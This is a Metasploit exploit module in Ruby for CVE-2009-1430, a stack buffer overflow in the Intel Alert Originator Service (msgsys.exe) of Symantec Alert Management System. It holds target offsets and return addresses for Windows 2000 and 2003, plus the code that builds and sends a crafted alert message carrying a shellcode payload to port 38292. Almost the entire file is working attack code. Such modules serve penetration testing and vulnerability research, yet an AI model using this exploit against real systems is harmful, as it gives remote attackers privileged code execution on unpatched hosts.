92 lines
3.1 KiB
Ruby
92 lines
3.1 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = GoodRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Symantec Alert Management System Intel Alert Originator Service Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack buffer overflow in Intel Alert Originator Service msgsys.exe.
|
|
When an attacker sends a specially crafted alert, arbitrary code may be executed.
|
|
},
|
|
'Author' => [ 'MC' ],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2009-1430' ],
|
|
[ 'OSVDB', '54159'],
|
|
[ 'BID', '34674' ],
|
|
],
|
|
'Privileged' => true,
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'process',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 800,
|
|
'BadChars' => "\x00\x20\x0a\x0d",
|
|
'StackAdjustment' => -3500,
|
|
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Windows 2003', { 'Offset' => 1061, 'Ret' => 0x00401130 } ],
|
|
[ 'Windows 2000 All', { 'Offset' => 1065, 'Ret' => 0x00401130 } ],
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Apr 28 2009'))
|
|
|
|
register_options( [ Opt::RPORT(38292) ], self.class )
|
|
end
|
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
filler = rand_text_alpha_upper(2048)
|
|
|
|
sploit = payload.encoded
|
|
sploit << rand_text_alpha_upper(target['Offset'] - payload.encoded.length)
|
|
sploit << Rex::Arch::X86.jmp_short(6) + rand_text_alpha_upper(2)
|
|
sploit << [target.ret].pack('V')
|
|
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-950").encode_string
|
|
sploit << rand_text_alpha_upper(rand(24) + 700) + "\x00"
|
|
|
|
msg = "\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x02\x00\x95\x94\xac\x10"
|
|
msg << "\x08\xb4\x00\x00\x00\x00\x00\x00\x00\x00" + [filler.length].pack('V')
|
|
msg << "ORIGCNFG" + "\x10\x00\x00\x00\x00\x00\x00\x00\x04\x00\x03\x03\xb8"
|
|
msg << "\x60\x00\x00\x00\x00\x00\x00" + "BIND"
|
|
msg << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00"
|
|
msg << "\x04" + "BIND" + "\x00" + [filler.length].pack('V')
|
|
msg << rand_text_alpha_upper(7) + " Alert" + sploit
|
|
msg << "\x00" + [filler.length].pack('V') + [filler.length].pack('V')
|
|
msg << rand_text_alpha_upper(rand(10) + 36)
|
|
msg << filler + "\x00\x00\x00\x00" + "PRGX" + "\x00\x04\xAC\x10\x08\x1D"
|
|
msg << "\x07\x08\x12\x00" + "ConfigurationName" + "\x00\x16\x00\x14\x00"
|
|
msg << rand_text_alpha_upper(rand(1) + 25) + "\x00\x08\x08\x00" + "RunArgs"
|
|
msg << "\x00\x04\x00\x02" + "\x00\x20\x00\x03\x05\x00" + "FormatString"
|
|
msg << "\x00\x02\x00\x00\x00\x08\x12\x00" + "ConfigurationName"
|
|
msg << "\x00\x02\x00\x00\x00\x08\x0C\x00" + "HandlerHost"
|
|
msg << "\x00\x17\x00\x15\x00" + rhost + "\x00\x00\x00\x00\x00\x00"
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
sock.put(msg)
|
|
|
|
handler
|
|
disconnect
|
|
end
|
|
|
|
end
|